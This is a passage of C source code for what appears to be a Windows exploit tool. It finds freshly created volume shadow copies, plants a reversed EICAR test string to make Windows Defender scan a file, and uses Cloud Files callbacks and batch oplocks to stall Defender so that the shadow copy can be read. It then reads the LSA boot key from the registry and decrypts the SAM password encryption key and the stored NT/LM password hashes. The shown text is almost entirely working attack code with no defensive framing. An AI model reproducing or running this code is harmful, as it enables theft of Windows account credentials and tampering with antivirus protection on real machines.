						LLVSSfirst = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
						if (!LLVSSfirst)
						{
							printf("Failed to allocate memory.\n");
							*errorcode = ERROR_NOT_ENOUGH_MEMORY;
							*criticalerr = true;
							DestroyVSSNamesList(LLVSSfirst);
							free(objdirinfo);
							return NULL;
						}
						ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames));
						LLVSScurrent = LLVSSfirst;
						LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
						if (!LLVSScurrent->name)
						{
							printf("Failed to allocate memory !!!\n");
							*errorcode = ERROR_NOT_ENOUGH_MEMORY;
							*criticalerr = true;
							DestroyVSSNamesList(LLVSSfirst);
							free(objdirinfo);
							return NULL;
						}
						ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
						memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);

					}

				}
			}
		}




	}
	free(objdirinfo);
	return LLVSSfirst;
}

DWORD WINAPI ShadowCopyFinderThread(void* fullvsspath)
{

	wchar_t devicepath[] = L"\\Device";
	UNICODE_STRING udevpath = { 0 };
	RtlInitUnicodeString(&udevpath, devicepath);
	OBJECT_ATTRIBUTES objattr = { 0 };
	InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
	NTSTATUS stat = STATUS_SUCCESS;
	HANDLE hobjdir = NULL;
	DWORD retval = ERROR_SUCCESS;
	wchar_t newvsspath[MAX_PATH] = { 0 };
	wcscpy(newvsspath, L"\\Device\\");
	bool criterr = false;
	int vscnum = 0;
	bool restartscan = false;
	ULONG scanctx = 0;
	ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
	ULONG retsz = 0;
	OBJECT_DIRECTORY_INFORMATION* objdirinfo = NULL;
	bool srchfound = false;
	wchar_t vsswinpath[MAX_PATH] = { 0 };
	UNICODE_STRING _vsswinpath = { 0 };

	OBJECT_ATTRIBUTES objattr2 = { 0 };
	IO_STATUS_BLOCK iostat = { 0 };
	HANDLE hlk = NULL;
	LLShadowVolumeNames* vsinitial = NULL;

	stat = _NtOpenDirectoryObject(&hobjdir, 0x0001, &objattr);
	if (stat)
	{
		printf("Failed to open object manager directory, error : 0x%0.8X", stat);
		retval = RtlNtStatusToDosError(stat);
		return retval;
	}
	void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
	if (!emptybuff)
	{
		printf("Failed to allocate memory !!!");
		retval = ERROR_NOT_ENOUGH_MEMORY;
		goto cleanup;
	}
	ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));

	
	vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum,&retval);

	if (criterr)
	{
		printf("Unexpected error while listing current volume shadow copy volumes\n");
		goto cleanup;
	}
	if (!vsinitial)
	{
		printf("No volume shadow copies were found.\n");
	}
	else
	{
		printf("Found %d volume shadow copies\n", vscnum);
	}



	stat = STATUS_SUCCESS;

scanagain:
	do
	{
		if (objdirinfo)
			free(objdirinfo);
		objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
		if (!objdirinfo)
		{
			printf("Failed to allocate required buffer to query object manager directory.\n");
			retval = ERROR_NOT_ENOUGH_MEMORY;
			goto cleanup;
		}
		ZeroMemory(objdirinfo, reqsz);

		scanctx = 0;
		stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz);
		if (stat == STATUS_SUCCESS)
			break;
		else if (stat != STATUS_MORE_ENTRIES)
		{
			printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
			retval = RtlNtStatusToDosError(stat);
			goto cleanup;
		}
		reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
	} while (1);
	


	for (ULONG i = 0; i < ULONG_MAX; i++)
	{
		if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
		{
			break;
		}
		if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
		{
			wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
			if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
			{
				if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
				{
					// check against the list if there this is a unique VS Copy
					LLShadowVolumeNames* current = vsinitial;
					bool found = false;
					while (current)
					{
						if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0)
						{
							found = true;
							break;
						}
						current = current->next;
					}
					if (found)
						continue;
					else
					{
						srchfound = true;
						wcscat(newvsspath, objdirinfo[i].Name.Buffer);
						break;
					}
				}
			}
		}
	}

	if (!srchfound) {
		restartscan = true;
		goto scanagain;
	}
	if (objdirinfo) {
		free(objdirinfo);
		objdirinfo = NULL;
	}
	NtClose(hobjdir);
	hobjdir = NULL;



	printf("New volume shadow copy detected : %ws\n", newvsspath);


	wcscpy(vsswinpath, newvsspath);
	wcscat(vsswinpath, L"\\Windows");
	RtlInitUnicodeString(&_vsswinpath, vsswinpath);
	InitializeObjectAttributes(&objattr2, &_vsswinpath, OBJ_CASE_INSENSITIVE, NULL, NULL);

retry:
	stat = NtCreateFile(&hlk, FILE_READ_ATTRIBUTES, &objattr2, &iostat, NULL, NULL, NULL, FILE_OPEN, NULL, NULL, NULL);
	if (stat == STATUS_NO_SUCH_DEVICE)
		goto retry;
	if (stat)
	{
		printf("Failed to open volume shadow copy, error : 0x%0.8X\n", stat);
		retval = RtlNtStatusToDosError(stat);
		goto cleanup;


	}
	printf("Successfully accessed volume shadow copy.\n");
	CloseHandle(hlk);
	if (fullvsspath)
		wcscpy((wchar_t*)fullvsspath, newvsspath);


cleanup:
	if (hobjdir)
		NtClose(hobjdir);
	if (emptybuff)
		free(emptybuff);
	if (vsinitial)
		DestroyVSSNamesList(vsinitial);

	return retval;
}

DWORD GetWDPID()
{
	static DWORD retval = 0;
	if (retval)
		return retval;

	SC_HANDLE scmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
	if (!scmgr)
		return 0;
	SC_HANDLE hsvc = OpenService(scmgr, L"WinDefend", SERVICE_QUERY_STATUS);
	CloseServiceHandle(scmgr);
	if (!hsvc)
		return 0;


	SERVICE_STATUS_PROCESS ssp = { 0 };
	DWORD reqsz = sizeof(ssp);
	bool res = QueryServiceStatusEx(hsvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, reqsz, &reqsz);
	CloseServiceHandle(hsvc);
	if (!res)
		return 0;
	retval = ssp.dwProcessId;
	return retval;

}

void CfCallbackFetchPlaceHolders(
	_In_ CONST CF_CALLBACK_INFO* CallbackInfo,
	_In_ CONST CF_CALLBACK_PARAMETERS* CallbackParameters
) {

	printf("CfCallbackFetchPlaceHolders triggered !\n");

	CF_PROCESS_INFO* cpi = CallbackInfo->ProcessInfo;
	wchar_t* procname = PathFindFileName(cpi->ImagePath);
	printf("Directory query from %ws\n", procname);
	if (GetWDPID() == cpi->ProcessId)
	{
		cldcallbackctx* ctx = (cldcallbackctx*)CallbackInfo->CallbackContext;
		SetEvent(ctx->hnotifywdaccess);;

		printf("Defender flagged.\n");
		CF_OPERATION_INFO cfopinfo = { 0 };
		cfopinfo.StructSize = sizeof(CF_OPERATION_INFO);
		cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS;
		cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey;
		cfopinfo.TransferKey = CallbackInfo->TransferKey;
		cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector;
		cfopinfo.RequestKey = CallbackInfo->RequestKey;
		//STATUS_CLOUD_FILE_REQUEST_TIMEOUT
		SYSTEMTIME systime = { 0 };
		FILETIME filetime = { 0 };
		GetSystemTime(&systime);
		SystemTimeToFileTime(&systime, &filetime);

		FILE_BASIC_INFO filebasicinfo = { 0 };
		filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;
		CF_FS_METADATA fsmetadata = { filebasicinfo, {0x1000} };
		CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 };
		GUID uid = { 0 };
		RPC_WSTR wuid = { 0 };
		UuidCreate(&uid);
		UuidToStringW(&uid, &wuid);
		wchar_t* wuid2 = (wchar_t*)wuid;
		placeholder[0].RelativeFileName = ctx->filename;

		placeholder[0].FsMetadata = fsmetadata;

		UuidCreate(&uid);
		UuidToStringW(&uid, &wuid);
		wuid2 = (wchar_t*)wuid;
		placeholder[0].FileIdentity = wuid2;
		placeholder[0].FileIdentityLength = lstrlenW(wuid2) * sizeof(wchar_t);
		placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE;


		CF_OPERATION_PARAMETERS cfopparams = { 0 };
		cfopparams.ParamSize = sizeof(cfopparams);
		cfopparams.TransferPlaceholders.PlaceholderCount = 1;
		cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 1;
		cfopparams.TransferPlaceholders.EntriesProcessed = 0;
		cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE;
		cfopparams.TransferPlaceholders.PlaceholderArray = placeholder;

		WaitForSingleObject(ctx->hnotifylockcreated, INFINITE);
		HRESULT hs = CfExecute(&cfopinfo, &cfopparams);
		printf("CfExecute returned : 0x%0.8X\n", hs);
		return;
	}
	CF_OPERATION_INFO cfopinfo = { 0 };
	cfopinfo.StructSize = sizeof(CF_OPERATION_INFO);
	cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS;
	cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey;
	cfopinfo.TransferKey = CallbackInfo->TransferKey;
	cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector;
	cfopinfo.RequestKey = CallbackInfo->RequestKey;
	CF_OPERATION_PARAMETERS cfopparams = { 0 };
	cfopparams.ParamSize = sizeof(cfopparams);
	cfopparams.TransferPlaceholders.PlaceholderCount = 0;
	cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 0;
	cfopparams.TransferPlaceholders.EntriesProcessed = 0;
	cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE;
	cfopparams.TransferPlaceholders.PlaceholderArray = { 0 };
	HRESULT hs = CfExecute(&cfopinfo, &cfopparams);
	printf("CfExecute : 0x%0.8X\n", hs);

	return;


}

DWORD WINAPI FreezeVSS(void* arg)
{
	cloudworkerthreadargs* args = (cloudworkerthreadargs*)arg;
	if (!args)
		return ERROR_BAD_ARGUMENTS;

	HANDLE hlock = NULL;
	HRESULT hs;
	CF_SYNC_REGISTRATION cfreg = { 0 };
	cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION);
	cfreg.ProviderName = L"IHATEMICROSOFT";
	cfreg.ProviderVersion = L"1.0";
	CF_SYNC_POLICIES syncpolicy = { 0 };
	syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES);
	syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED;
	syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
	syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED;
	syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT;
	syncpolicy.InSync = CF_INSYNC_POLICY_NONE;
	CF_CALLBACK_REGISTRATION callbackreg[2];
	callbackreg[0] = { CF_CALLBACK_TYPE_FETCH_PLACEHOLDERS, CfCallbackFetchPlaceHolders };
	callbackreg[1] = { CF_CALLBACK_TYPE_NONE, NULL };
	CF_CONNECTION_KEY cfkey = { 0 };
	OVERLAPPED ovd = { 0 };
	DWORD nwf = 0;
	//wchar_t syncroot[] = L"C:\\temp";
	wchar_t syncroot[MAX_PATH] = { 0 };
	GetModuleFileName(GetModuleHandle(NULL), syncroot, MAX_PATH);
	*(PathFindFileName(syncroot) - 1) = L'\0';
	DWORD retval = STATUS_SUCCESS;
	wchar_t lockfile[MAX_PATH];
	wcscpy(lockfile, syncroot);
	wcscat(lockfile, L"\\");
	GUID uid = { 0 };
	RPC_WSTR wuid = { 0 };
	UuidCreate(&uid);
	UuidToStringW(&uid, &wuid);
	wchar_t* wuid2 = (wchar_t*)wuid;
	wcscat(lockfile, wuid2);
	wcscat(lockfile, L".lock");
	cldcallbackctx callbackctx = { 0 };
	bool syncrootregistered = false;
	callbackctx.hnotifywdaccess = CreateEvent(NULL, FALSE, FALSE, NULL);
	callbackctx.hnotifylockcreated = CreateEvent(NULL, FALSE, FALSE, NULL);
	if (!callbackctx.hnotifylockcreated || !callbackctx.hnotifywdaccess)
	{
		printf("Failed to create event, error : %d", GetLastError());
		retval = GetLastError();
		goto cleanup;
	}
	wcscpy(callbackctx.filename, wuid2);
	wcscat(callbackctx.filename, L".lock");
	hlock = CreateFile(lockfile, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE, NULL);
	if (!hlock || hlock == INVALID_HANDLE_VALUE)
	{
		printf("Failed to create lock file %ws error : %d", lockfile, GetLastError());
		retval = GetLastError();
		goto cleanup;
	}


	//CreateDirectory(syncroot, NULL);
	hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_NONE);
	if (hs)
	{
		printf("Failed to register syncroot, hr = 0x%0.8X\n", hs);
		retval = ERROR_UNIDENTIFIED_ERROR;
		goto cleanup;
	}
	syncrootregistered = true;
	hs = CfConnectSyncRoot(syncroot, callbackreg, &callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey);
	if (hs)
	{
		printf("Failed to connect to syncroot, hr = 0x%0.8X\n", hs);
		retval = ERROR_UNIDENTIFIED_ERROR;
		goto cleanup;
	}
	if (args->hlock) {
		CloseHandle(args->hlock);
		args->hlock = NULL;
	}

	printf("Waiting for callback...\n");

	WaitForSingleObject(callbackctx.hnotifywdaccess, INFINITE);

	ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
	if (!ovd.hEvent)
	{
		printf("Failed to create event, error : %d\n", GetLastError());
		retval = GetLastError();
		goto cleanup;
	}
	DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);

	if (GetLastError() != ERROR_IO_PENDING)
	{
		printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
		retval = GetLastError();
		goto cleanup;
	}
	SetEvent(callbackctx.hnotifylockcreated);

	printf("Waiting for oplock to trigger...\n");

	GetOverlappedResult(hlock, &ovd, &nwf, TRUE);

	printf("WD is frozen and the new VSS can be used.\n");

	SetEvent(args->hvssready);

	WaitForSingleObject(args->hcleanupevent, INFINITE);

	
	
cleanup:

	if (hlock)
		CloseHandle(hlock);
	if (callbackctx.hnotifylockcreated)
		CloseHandle(callbackctx.hnotifylockcreated);
	if (callbackctx.hnotifywdaccess)
		CloseHandle(callbackctx.hnotifywdaccess);
	if (ovd.hEvent)
		CloseHandle(ovd.hEvent);

	if (syncrootregistered)
	{
		CfDisconnectSyncRoot(cfkey);
		CfUnregisterSyncRoot(syncroot);
	}
	

	return retval;

}


bool TriggerWDForVS(HANDLE hreleaseevent,wchar_t* fullvsspath)
{
	GUID uid = { 0 };
	RPC_WSTR wuid = { 0 };
	UuidCreate(&uid);
	UuidToStringW(&uid, &wuid);
	wchar_t* wuid2 = (wchar_t*)wuid;

	wchar_t workdir[MAX_PATH] = { 0 };
	ExpandEnvironmentStrings(L"%TEMP%\\", workdir, MAX_PATH);
	wcscat(workdir, wuid2);
	wchar_t eicarfilepath[MAX_PATH] = { 0 };
	wcscpy(eicarfilepath,workdir);
	wcscat(eicarfilepath,L"\\foo.exe");

	HANDLE hlock = NULL;
	wchar_t rstmgr[MAX_PATH] = { 0 };
	ExpandEnvironmentStrings(L"%windir%\\System32\\RstrtMgr.dll", rstmgr, MAX_PATH);
	OVERLAPPED ovd = { 0 };
	char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X";
	rev(eicar);
	DWORD nwf = 0;
	cloudworkerthreadargs cldthreadargs = { 0 };
	DWORD tid = 0;
	HANDLE hthread = NULL;
	bool dircreated = false;
	bool retval = true;
	HANDLE hfile = NULL;
	HANDLE trigger = NULL;
	HANDLE hthread2 = NULL;
	HANDLE hobj[2] = { 0 };
	DWORD exitcode = STATUS_SUCCESS;
	DWORD waitres = 0;
	hthread = CreateThread(NULL, NULL, ShadowCopyFinderThread, (void*)fullvsspath, NULL, &tid);
	if (!hthread)
	{
		printf("Failed to create worker thread, error : %d", GetLastError());
		retval = false;
		goto cleanup;
	}
	
	dircreated = CreateDirectory(workdir, NULL);
	if (!dircreated)
	{
		printf("Failed to create working directory, error : %d\n",GetLastError());
		retval = false;
		goto cleanup;
	}

	hfile = CreateFile(eicarfilepath, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, NULL);
	if (!hfile || hfile == INVALID_HANDLE_VALUE)
	{
		printf("Failed to create eicar test file, error : %d\n", GetLastError());
		retval = false;
		goto cleanup;
	}


	
	if (!WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL))
	{
		printf("Failed to write eicar test file, error : %d\n", GetLastError());
		retval = false;
		goto cleanup;
	}


	hlock = CreateFile(rstmgr, GENERIC_READ | SYNCHRONIZE, NULL, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
	if (!hlock || hlock == INVALID_HANDLE_VALUE)
	{
		printf("Failed to open restart manager dll for exclusive access, error : %d\nTry again later.\n", GetLastError());
		retval = false;
		goto cleanup;
	}


	ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
	if (!ovd.hEvent)
	{
		printf("Failed to create event object with error : %d !!!!\n", GetLastError());
		retval = false;
		goto cleanup;
	}

	SetLastError(ERROR_SUCCESS);
	DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);

	if (GetLastError() != ERROR_IO_PENDING)
	{
		printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
		retval = false;
		goto cleanup;
	}

	// trigger wd for action
	trigger = CreateFile(eicarfilepath, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (trigger && trigger != INVALID_HANDLE_VALUE)
		CloseHandle(trigger);

	printf("Waiting for oplock to trigger...\n");
	GetOverlappedResult(hlock, &ovd, &nwf, TRUE);
	printf("Oplock triggered.\n");

	if (!GetExitCodeThread(hthread, &exitcode))
	{
		printf("Unexpected error while getting worker thread exit code");
		retval = false;
		goto cleanup;
	}
	if (exitcode)
	{
		printf("Failed to get new volume shadow copy path");
		retval = false;
		goto cleanup;
	
	}


	cldthreadargs.hcleanupevent = hreleaseevent;
	cldthreadargs.hlock = hlock;
	cldthreadargs.hvssready = CreateEvent(NULL, FALSE, FALSE, NULL);
	
	hthread2 = CreateThread(NULL, NULL, FreezeVSS, &cldthreadargs, NULL, &tid);
	if (!hthread2) {
		printf("Unable to create worker thread, error : %d", GetLastError());
		retval = false;
		goto cleanup;
	}



	hobj[0] = hthread2;
	hobj[1] = cldthreadargs.hvssready;
	waitres = WaitForMultipleObjects(2, hobj, FALSE, INFINITE);

	if (waitres - WAIT_OBJECT_0 == 0)
	{
		printf("Unable to freeze WD, thread exited prematurely.\n");
		retval = false;
	}

cleanup:


	if (hthread)
		CloseHandle(hthread);
	if(hthread2)
		CloseHandle(hthread2);
	if(cldthreadargs.hvssready)
		CloseHandle(cldthreadargs.hvssready);
	if (ovd.hEvent)
		CloseHandle(ovd.hEvent);
	if (hfile)
		CloseHandle(hfile);
	if (dircreated)
		RemoveDirectory(workdir);

	return retval;



}
//////////////////////////////////////////////////////////////////////
// Volume shadow copy functions end
/////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////
// SAM handling start
/////////////////////////////////////////////////////////////////////


#define SAM_DATABASE_DATA_ACCESS_OFFSET 0xcc
#define SAM_DATABASE_USERNAME_OFFSET 0x0c
#define SAM_DATABASE_USERNAME_LENGTH_OFFSET 0x10
#define SAM_DATABASE_LM_HASH_OFFSET 0x9c
#define SAM_DATABASE_LM_HASH_LENGTH_OFFSET 0xa0
#define SAM_DATABASE_NT_HASH_OFFSET 0xa8
#define SAM_DATABASE_NT_HASH_LENGTH_OFFSET 0xac

struct PwdEnc
{
	char* buff;
	size_t sz;
	wchar_t* username;
	ULONG usernamesz;
	char* LMHash;
	ULONG LMHashLenght;
	char* NTHash;
	ULONG NTHashLenght;
	ULONG rid;

};


NTSTATUS WINAPI SamConnect(IN PUNICODE_STRING ServerName, OUT HANDLE* ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted);
NTSTATUS WINAPI SamCloseHandle(IN HANDLE SamHandle);
NTSTATUS WINAPI SamOpenDomain(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE* DomainHandle);
NTSTATUS WINAPI SamOpenUser(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE* UserHandle);
NTSTATUS WINAPI SamiChangePasswordUser(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE* oldLM, IN const BYTE* newLM, IN BOOL isNewNTLM, IN const BYTE* oldNTLM, IN const BYTE* newNTLM);



void hex_string_to_bytes(const char* hex_string, unsigned char* byte_array, size_t max_len) {
	size_t len = strlen(hex_string);
	if (len % 2 != 0) {
		fprintf(stderr, "Error: Hex string length must be even.\n");
		return;
	}

	size_t byte_len = len / 2;
	if (byte_len > max_len) {
		fprintf(stderr, "Error: Output buffer too small.\n");
		return;
	}

	for (size_t i = 0; i < byte_len; i++) {
		// Read two hex characters and convert them to an unsigned int
		unsigned int byte_val;
		if (sscanf(&hex_string[i * 2], "%2x", &byte_val) != 1) {
			fprintf(stderr, "Error: Invalid hex character in string.\n");
			return;
		}
		byte_array[i] = (unsigned char)byte_val;
	}
}

bool GetLSASecretKey(unsigned char bootkeybytes[16])
{

	const wchar_t* keynames[] = { {L"JD"}, {L"Skew1"}, {L"GBG"}, {L"Data"} };
	int indices[] = { 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 };


	//ORHKEY hlsa = NULL;
	HKEY hlsa = NULL;
	DWORD err = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", NULL, KEY_READ, &hlsa);
	char data[0x1000] = { 0 };
	DWORD index = 0;
	for (const wchar_t* keyname : keynames)
	{
		DWORD retsz = sizeof(data) / sizeof(char);
		HKEY hbootkey = NULL;
		err = RegOpenKeyEx(hlsa, keyname, NULL, KEY_QUERY_VALUE, &hbootkey);

		err = RegQueryInfoKeyA(hbootkey, &data[index], &retsz, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
		index += retsz;
		RegCloseKey(hbootkey);
	}
	//printf("%s\n", data);
	RegCloseKey(hlsa);

	if (strlen(data) < 16)
	{
		printf("Boot key mismatch.");
		return 1;
	}

	// convert hex string to binary
	unsigned char keybytes[16] = { 0 };
	hex_string_to_bytes(data, keybytes, 16);



	for (int i = 0; i < sizeof(keybytes); i++)
	{

		bootkeybytes[i] = keybytes[indices[i]];
	}
	return true;

}

void* UnprotectAES(char* lsaKey, char* iv, char* hashdata, unsigned long enclen, int* decryptedlen)
{

	char* decrypted = (char*)malloc(enclen);
	memmove(decrypted, hashdata, enclen);
	HCRYPTPROV hprov = NULL;

	CryptAcquireContext(&hprov, 0, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT);

	struct aes128keyBlob
	{
		BLOBHEADER hdr;
		DWORD keySize;
		BYTE bytes[16];
	} blob;

	blob.hdr.bType = PLAINTEXTKEYBLOB;
	blob.hdr.bVersion = CUR_BLOB_VERSION;
	blob.hdr.reserved = 0;
	blob.hdr.aiKeyAlg = CALG_AES_128;
	blob.keySize = 16;
	memmove(blob.bytes, lsaKey, 16);
	HCRYPTKEY hcryptkey = NULL;
	CryptImportKey(hprov, (const BYTE*)&blob, sizeof(aes128keyBlob), NULL, NULL, &hcryptkey);

	DWORD mode = CRYPT_MODE_CBC;
	CryptSetKeyParam(hcryptkey, KP_IV, (const BYTE*)iv, NULL);
	
	CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL);

	DWORD retsz = enclen;

	CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz);
	

	/*
	EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new();

	int fulllen = 0;
	int retval = EVP_DecryptInit(en, EVP_aes_128_cbc(), (const unsigned char*)lsaKey, (const unsigned char*)iv);
	if (!retval)
		return NULL;

	//int decryptedsz = enclen;
	retval = EVP_DecryptUpdate(en, (unsigned char*)decrypted, (int*)&enclen, (const unsigned char*)hashdata, enclen);
	if (!retval)
		return NULL;
	retval = EVP_DecryptFinal_ex(en, (unsigned char*)decrypted + enclen, &fulllen);
	EVP_CIPHER_CTX_free(en);
	if (!retval)
		return NULL;
	*/
	if (decryptedlen)
		*decryptedlen = retsz;

	return decrypted;

}

#ifndef SHA256_DIGEST_LENGTH
#define SHA256_DIGEST_LENGTH 32
#endif

bool ComputeSHA256(char* data, int size, char hashout[SHA256_DIGEST_LENGTH])
{


	char* data2 = (char*)malloc(SHA256_DIGEST_LENGTH);
	ZeroMemory(data2, SHA256_DIGEST_LENGTH);
	HCRYPTPROV hprov = NULL;
	CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
	HCRYPTHASH Hhash = NULL;
	CryptCreateHash(hprov, CALG_SHA_256, NULL, NULL, &Hhash);
	CryptHashData(Hhash, (const BYTE*)data, size, NULL);
	DWORD md_len = 0;
	DWORD inputsz = sizeof(md_len);
	CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL);
	//inputsz = size;
	CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)hashout, &md_len, NULL);

	CryptDestroyHash(Hhash);
	CryptReleaseContext(hprov, NULL);
	/*
	EVP_MD_CTX* en = EVP_MD_CTX_new();

	bool retval = EVP_DigestInit(en, EVP_sha256());
	if (!retval)
		return retval;
	retval = EVP_DigestUpdate(en, data, size);
	if (!retval)
		return retval;
	EVP_DigestFinal(en, (unsigned char*)hashout, NULL);
	*/
	//return retval;
	return true;



}

void* UnprotectPasswordEncryptionKeyAES(char* data, char* lsaKey, int* keysz)
{

	int hashlen = data[0];
	int enclen = data[4];

	char iv[16] = { 0 };
	memmove(iv, &data[8], sizeof(iv));

	char* cyphertext = (char*)malloc(enclen);
	memmove(cyphertext, &data[0x18], enclen);

	// first arg, lsaKey | second arg, iv | thid arg, ciphertext
	int outsz = 0;
	int pekoutsz = 0;
	char* pek = (char*)UnprotectAES(lsaKey, iv, cyphertext, enclen, &pekoutsz);

	char* hashdata = (char*)malloc(hashlen);
	memmove(hashdata, &data[0x18 + enclen], hashlen);

	char* hash = (char*)UnprotectAES(lsaKey, iv, hashdata, hashlen, &outsz);


	char hash256[SHA256_DIGEST_LENGTH];

	if (!ComputeSHA256(pek, pekoutsz, hash256))
	{
		return NULL;
	}

	if (memcmp(hash256, hash, sizeof(hash256)) != 0)
	{
		printf("Invalid AES password key.\n");
		return NULL;
	}
	if (keysz)
		*keysz = sizeof(hash256);


	return pek;

}

void* UnprotectPasswordEncryptionKey(char* samKey, unsigned char* lsaKey, int* keysz)
{

	int enctype = samKey[0x68];
	if (enctype == 2) {
		int endofs = samKey[0x6c] + 0x68;
		int len = endofs - 0x70;

		char* data = (char*)malloc(len);
		memmove(data, &samKey[0x70], len);
		void* retval = UnprotectPasswordEncryptionKeyAES(data, (char*)lsaKey, keysz);

		return retval;
	}
	__debugbreak();
	return NULL;

}

void* UnprotectPasswordHashAES(char* key, int keysz, char* data, int datasz, int* outsz)
{
	int length = data[4];
	if (!length)
		return NULL;
	char iv[16] = { 0 };
	memmove(iv, &data[8], sizeof(iv));

	int ciphertextsz = datasz - 24;
	char* ciphertext = (char*)malloc(ciphertextsz);
	memmove(ciphertext, &data[8 + sizeof(iv)], ciphertextsz);
	return UnprotectAES(key, iv, ciphertext, ciphertextsz, outsz);
}

void* UnprotectPasswordHash(char* key, int keysz, char* data, int datasz, ULONG rid, int* outsz)
{
	int enctype = data[2];

	switch (enctype)
	{
	case 2:

		return UnprotectPasswordHashAES(key, keysz, data, datasz, outsz);

		break;
	default:
		__debugbreak();
		break;
	}

	return NULL;


}

void* UnprotectDES(char* key, int keysz, char* ciphertext, int ciphertextsz, int* outsz)
{
	
	char* ciphertext2 = (char*)malloc(ciphertextsz);
	memmove(ciphertext2, ciphertext, ciphertextsz);
	HCRYPTPROV hprov = NULL;
	CryptAcquireContext(&hprov, 0, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);

	struct deskeyBlob
	{
